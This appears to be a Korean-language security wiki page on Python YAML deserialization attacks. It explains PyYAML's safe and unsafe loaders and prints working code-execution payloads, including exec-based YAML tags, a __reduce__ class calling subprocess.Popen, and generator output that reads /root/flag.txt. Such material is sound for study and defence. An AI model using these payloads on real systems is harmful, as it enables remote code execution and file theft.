Python Yaml Deserialization

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Yaml Deserialization

Yaml 파이썬 라이브러리는 원시 데이터뿐만 아니라 파이썬 객체를 직렬화할 수 있습니다:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

튜플이 원시 데이터 유형이 아니므로 직렬화되었는지 확인하십시오. 범위(builtins에서 가져온)도 동일하게 처리되었습니다.

safe_load() 또는 **safe_load_all()**는 SafeLoader를 사용하며 클래스 객체 역직렬화를 지원하지 않습니다. 클래스 객체 역직렬화 예:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

이전 코드는 직렬화된 파이썬 클래스를 로드하기 위해 unsafe_load를 사용했습니다. 이는 버전 >= 5.1에서 load()에 Loader가 지정되지 않거나 Loader=SafeLoader인 경우 직렬화된 파이썬 클래스나 클래스 속성을 역직렬화하는 것을 허용하지 않기 때문입니다.

기본 익스플로잇

슬립을 실행하는 방법에 대한 예:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

취약한 .load("<content>") 로더 없이

구버전의 pyyaml은 무언가를 로드할 때 로더를 지정하지 않으면 역직렬화 공격에 취약했습니다: yaml.load(data)

취약점 설명은 여기에서 찾을 수 있습니다. 해당 페이지에서 제안된 익스플로잇은:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

또는 @ishaack가 제공한 이 한 줄짜리 코드를 사용할 수도 있습니다:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

최근 버전에서는 Loader 없이 **.load()**를 더 이상 호출할 수 없으며, **FullLoader**는 더 이상 이 공격에 취약하지 않습니다.

RCE

사용자 정의 페이로드는 PyYAML 또는 ruamel.yaml과 같은 Python YAML 모듈을 사용하여 생성할 수 있습니다. 이러한 페이로드는 적절한 세척 없이 신뢰할 수 없는 입력을 역직렬화하는 시스템의 취약점을 악용할 수 있습니다.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Payloads 생성 도구

도구 https://github.com/j0lt-github/python-deserialization-attack-payload-generator는 Pickle, PyYAML, jsonpickle 및 ruamel.yaml를 악용하기 위한 python deserialization payloads를 생성하는 데 사용할 수 있습니다:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

References

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

• https://net-square.com/yaml-deserialization-attack-in-python.html

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